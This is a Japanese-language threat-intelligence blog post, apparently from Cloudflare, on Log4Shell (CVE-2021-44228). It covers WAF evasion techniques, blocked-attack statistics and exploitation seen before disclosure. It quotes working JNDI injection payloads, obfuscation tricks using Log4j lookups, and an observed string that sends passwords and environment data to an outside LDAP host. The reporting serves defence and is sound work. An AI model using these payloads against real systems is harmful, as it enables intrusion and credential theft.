このブログ記事では、世界で見られるWAFの回避パターンや流出未遂、不正利用未遂のトレンドデータ、CVE-2021-44228の公開前に見られた悪用に関する情報などを紹介します。

完結に言うと、公開の8日前の12月1日に、脆弱性の限定的なテストが実施されました。公開からわずか9分後にこの脆弱性に対する最初の悪用の試みが見られ、新しく見つかった問題を攻撃者がいかに迅速に悪用しているかを示しています。

また、シンプルなブロッキングを行おうとするWAFを回避しようとする試み、秘密のクレデンシャルやパスワードを含むデータ流出未遂も大量に確認されています。

WAFの回避パターンと流出例

CVE-2021-44228(現在は一般に Log4Shell と呼ばれる)の公開以来、攻撃者は、単純な攻撃文字列を使うことから、積極的にWAF によるブロックを回避しようとする動きに移行していることが確認されています。WAF は外部からの攻撃者を阻止するための有用なツールであり、一般的には、単純なルールを突破するためのWAF の回避が試みられています。

Log4j脆弱性の悪用の初期段階において、通常、攻撃者は  ${jndi:dns, ${jndi:rmi${jndi:ldapで始まる難読化していない文字列を使っており、これらのパターンを探すシンプルなルールは効果的でした。

それらの文字列がブロックされた後すぐに、攻撃者は回避テクニックの使用に切り替えました。標準的な回避技術(文字のエスケープまたはエンコーディング)と Log4j Lookups言語 に特有の調整された回避の両方を使用してきました、そして現在も使用しています。

どのレベルのWAFでも、標準的な技術には対応できるでしょう。${ を %24%7B または \u0024\u007b としてエンコードするようなトリックは、使われている特定の悪用をチェックするルールを適用する前に簡単に元に戻すことができます。

しかし、Log4j言語は、いくつかのWAFが探すキー文字列を難読化できる豊富な機能を持っています。例えば、${lower} ルックアップでは文字列を小文字にします。したがって、${lower:H}では、h に変化します。攻撃者はルックアップを使って jndiのような重要な文字列を偽装し、WAFの回避に役立てているのです。

実働環境では、${date}${lower}${upper}${web}${main}さらに回避のため ${env} の使用が見られます。さらに、 ${env}${sys}、  ${main}(その他、Docker、Kubernetesなどのシステムに特化したルックアップ)が利用され、ターゲットプロセス環境からデータ(重要機密を含む)を流出させています。

この言語がどのように使われているかをよりよく理解するために、コマンドラインから文字列を受け取り、Log4jを介してコンソールにログを記録する小さなJavaプログラムを紹介します:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4jTester{
    private static final Logger logger = LogManager.getLogger(log4jTester.class);
       
    public static void main(String[] args) {
	logger.error(args[0]);
    }
}

このシンプルなプログラムはコンソールに書き込みを行います。ここではhideという一語をログに記録しています。

$ java log4jTester.java 'hide'
01:28:25.606 [main] ERROR log4jTester - hide

Log4j言語では、${}を ${} 内で使用することができます。このように、攻撃者は複数の異なるキーワードを組み合わせて回避することが可能です。例えば、次の  ${lower:${lower:h}${lower:${upper:i}${lower:D}eは、 hide という単語として記録されることになるでしょう。そのため、例えば ${jndi ,のようなシンプルな検索は、 jndiの文字も同様に隠せるので、攻撃者は簡単に回避することができるのです。

$ java log4jTester.java '${lower:${lower:h}}${lower:${upper:i}}${lower:d}e'
01:30:42.015 [main] ERROR log4jTester - hide

もう一つの主な回避方法は、:-構文を利用することです。この構文により、攻撃者は検索にデフォルト値を設定することができ、もし検索された値が空であれば、デフォルト値が出力されます。つまり、例えば、存在しない環境変数を検索して、単語の文字を出力することができます。

$ java log4jTester.java '${env:NOTEXIST:-h}i${env:NOTEXIST:-d}${env:NOTEXIST:-e}'
01:35:34.280 [main] ERROR log4jTester - hide

${web}${main} さらに ${::-h}${:::::-h}などの文字列でも同様の技術が使われて い ます。これは両方ともh に変化します。当然、これらの技術を組み合わせてより精巧な回避が試みられています。

どのように回避が広まったかを知るために、難読化されていないWAFブロックに現れる ${jndi:(オレンジ色の線)、${lower} ルックアップ(緑線)の使用、URIエンコーディング(青線)、そして最近流行している回避方法 ${${::-j}${::-n}${::-d}${::-i} (赤線)を示したグラフを示します。

最初の数日は、回避は比較的まれでした。しかし現在では ${jndi:のような素朴な文字列は依然として人気がありますが、回避は急増しており、WAFはこれらの改良された攻撃をブロックしなければなりません。

先週、不正利用の初期段階について書きましたが、ほとんどが偵察に関するものでした。それ以来攻撃者はデータ抽出に移行しています。

${env} の利用で環境変数を抽出したり ${sys}でLog4jが動作しているシステムに関する情報を取得する攻撃が確認されています。実働環境でブロックされたある攻撃は様々なLog4jルックアップから多くのデータを流出させようとしました。

${${env:FOO:-j}ndi:${lower:L}da${lower:P}://x.x.x.x:1389/FUZZ.HEADER.${docker:
imageName}.${sys:user.home}.${sys:user.name}.${sys:java.vm.version}.${k8s:cont
ainerName}.${spring:spring.application.name}.${env:HOSTNAME}.${env:HOST}.${ctx
:loginId}.${ctx:hostName}.${env:PASSWORD}.${env:MYSQL_PASSWORD}.${env:POSTGRES
_PASSWORD}.${main:0}.${main:1}.${main:2}.${main:3}}

そこでは、ユーザー、ホームディレクトリ、Dockerイメージ名、KubernetesやSpringの詳細、ユーザーやデータベースのパスワード、ホスト名、コマンドライン引数が流出されていることが確認できます。

回避と流出ともに高度化しており巧妙であるため、WAFベンダーは${の発生に注目し、それを疑わしいものとして処理する必要があるのです。このため、お客様にお送りするあらゆるログ をサニタイズして  ${を x{ に変換して提供しています。

Cloudflare WAFチームは悪用未遂を阻止するために継続的に取り組んでいますが、お客様はシステムに最新のLog4jを適用するか、軽減策を適用することが不可欠です。ログに記録されるデータは必ずしもインターネットを経由しているとは限らないため、インターネットに接続しているか否かにかかわらず、システムにはパッチが必要です。

すべての有償のお客様には、CVE-2021-44228に対する保護に役立つ設定可能なWAFルールがありますが、無償のお客様にも保護機能を導入しています。

CVE-2021-44228 不正利用の傾向

Cloudflareはこれらの攻撃をブロックするために、WAFルールを即座に導入しました。次の図は、ブロックされた攻撃がどのように進化していったかを示しています。

12月10日から12月13日まで1分あたりのブロック数が次のように急増しました。

日付 ブロックされた平均リクエスト数/分
2021-12-10 5,483
2021-12-11 18,606
2021-12-12 27,439
2021-12-13 24,642

最初のブログ記事 では、不正利用しようとした攻撃元のトップがカナダ(下の緑色の線)であったことを指摘しました。予測したとおりこの傾向は続かず、攻撃はサーバーから直接またはプロキシ経由で、世界中から来ています。

開示前のCVE-2021-44228の不正利用

CVE-2021-44228 は2021-12-09 14:25 UTC のツイート(現在は削除済み)に開示されました:

しかし、当社のシステムでは2021年12月1日に以下の3件の不正利用またはスキャンの試行を捉えています。それぞれでIPアドレスとドメイン名を難読化しています。これらの3つは、 ${jndi:ldap}ルックアップを HTTP User-Agentヘッダー、 Refererヘッダー、URI パラメーターに注入しています。

2021-12-01 03:58:34
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://rb3w24.example.com/x}
Referer: /${jndi:ldap://rb3w24.example.com/x}
Path: /$%7Bjndi:ldap://rb3w24.example.com/x%7D
2021-12-01 04:36:50
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://y3s7xb.example.com/x}
Referer: /${jndi:ldap://y3s7xb.example.com/x}
パラメータ: x=$%7Bjndi:ldap://y3s7xb.example.com/x%7D						
2021-12-01 04:20:30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://vf9wws.example.com/x}
Referer: /${jndi:ldap://vf9wws.example.com/x}
パラメータ: x=$%7Bjndi:ldap://vf9wws.example.com/x%7D	

この3回の試行の後、開示から9分後に何者かが ゲームサイトのURIパラメータを経由して ${jndi:ldap} 文字列を注入しようとするまで、それ以上の活動は見られませんでした。

2021-12-09 14:34:31
パラメータ: redirectUrl=aaaaaaa$aadsdasad$${jndi:ldap://log4.cj.d.example.com/exp}

まとめ

CVE-2021-44228は、多数のアクターによって活発に不正利用されています。WAFは外部からの攻撃を防ぐための対策として有効ですが、決して万全なものではなく、攻撃者は積極的に回避策を講じています。データやクレデンシャルが流出する可能性は想像以上に高く、より壊滅的なハッキングや攻撃の長期的なリスクは非常に現実的なものとなっています。

Log4j を使用するソフトウェアの影響を軽減し、パッチを適用することは待ったなしの状況です。